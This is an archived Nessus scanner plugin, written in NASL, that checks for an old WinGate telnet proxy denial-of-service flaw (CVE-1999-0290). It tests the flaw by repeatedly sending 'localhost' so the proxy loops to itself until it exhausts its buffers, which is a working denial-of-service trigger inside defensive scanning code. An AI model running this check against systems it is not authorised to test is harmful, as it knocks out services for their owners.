home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / wingate_denial.nasl < prev    next >
Text File  |  2005-01-14  |  3KB  |  114 lines

  1. #
  2. # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
  3. #
  4. #
  5. # See the Nessus Scripts License for details
  6. #
  7.  
  8. if(description)
  9. {
  10.  script_id(10310);
  11. script_cve_id("CVE-1999-0290");
  12.  script_version ("$Revision: 1.13 $");
  13.  
  14.  
  15.  name["english"] = "Wingate denial of service";
  16.  name["francais"] = "DΘni de service WinGate";
  17.  script_name(english:name["english"],
  18.           francais:name["francais"]);
  19.  
  20.  desc["english"] = "The remote Wingate service
  21. can be forced to connect to itself continually
  22. until it runs out of buffers. When this happens,
  23. the telnet proxy service will be disabled.
  24.  
  25. An attacker may block your telnet proxy this
  26. way, thus preventing your system from working
  27. properly if you need telnet. An attacker may also
  28. use this flaw to force your systems to use another
  29. proxy which may be under the attacker's control.
  30.  
  31.  
  32. Solution : configure WinGate so that
  33. only authorized users can use it.
  34.  
  35. Risk factor : Low";
  36.  
  37.  
  38.  desc["francais"] = "On peut forcer le
  39. wingate distant α se connecter α lui-meme 
  40. un grand nombre de fois, jusqu'au moment
  41. o∙ il manque de buffers. A ce moment,
  42. ce service sera desactivΘ.
  43.  
  44. Un pirate peut donc bloquer votre
  45. proxy telnet, vous empechant ainsi
  46. de travailler convenablement si vous
  47. avez besoin de telnet, ou peut 
  48. utiliser ce problΦme pour vous forcer
  49. α utiliser un autre proxy telnet qui
  50. est peut etre sous son controle.
  51.  
  52.  
  53. Solution : configurez WinGate
  54. de telle sorte que seuls les utilisateurs
  55. authentifiΘs puissent s'en servir.
  56.  
  57. Facteur de risque: Faible";
  58.  
  59.  
  60.  script_description(english:desc["english"],
  61.              francais:desc["francais"]);
  62.  
  63.  summary["english"] = "Determines if Wingate is vulnerable to a buffer attack"; 
  64.  summary["francais"] = "DΘtermine si wingate peut etre α bout de buffers";
  65.  script_summary(english:summary["english"],
  66.          francais:summary["francais"]);
  67.  
  68.  script_category(ACT_DENIAL);
  69.  
  70.  script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison",
  71.            francais:"Ce script est Copyright (C) 1999 Renaud Deraison");
  72.  
  73.  family["english"] = "Denial of Service"; 
  74.  family["francais"] = "DΘni de service";
  75.  
  76.  script_family(english:family["english"],
  77.             francais:family["francais"]);
  78.  script_dependencie("find_service.nes", "wingate.nasl");
  79.  script_require_keys("wingate/enabled");
  80.  script_require_ports("Services/telnet", 23);
  81.  exit(0);
  82. }
  83.  
  84. #
  85. # The script code starts here
  86. #
  87.  
  88. wingate = get_kb_item("wingate/enabled");
  89. if(!wingate)exit(0);
  90. port = get_kb_item("Services/telnet");
  91. if(!port)port = 23;
  92.  
  93. if(get_port_state(port))soc = open_sock_tcp(port);
  94. if(soc)
  95. {
  96. flaw = 0;
  97. for(i=0;i<5000;i=i+1)
  98. {
  99.  buffer = recv(socket:soc, length:8);
  100.  b = string("localhost\r\n");
  101.  send(socket:soc, data:b);
  102.  r = recv(socket:soc, length:1024);
  103.  r = tolower(r);
  104.  for(i=0;i<11;i=i+1)d = recv(socket:soc, length:1);
  105.  r = recv(socket:soc, length:100);
  106.  r = tolower(r);
  107.  if(("buffer" >< r)){
  108.     i = 5001;
  109.     security_warning(port);
  110.     }
  111.   }
  112. close(soc);
  113. }
  114.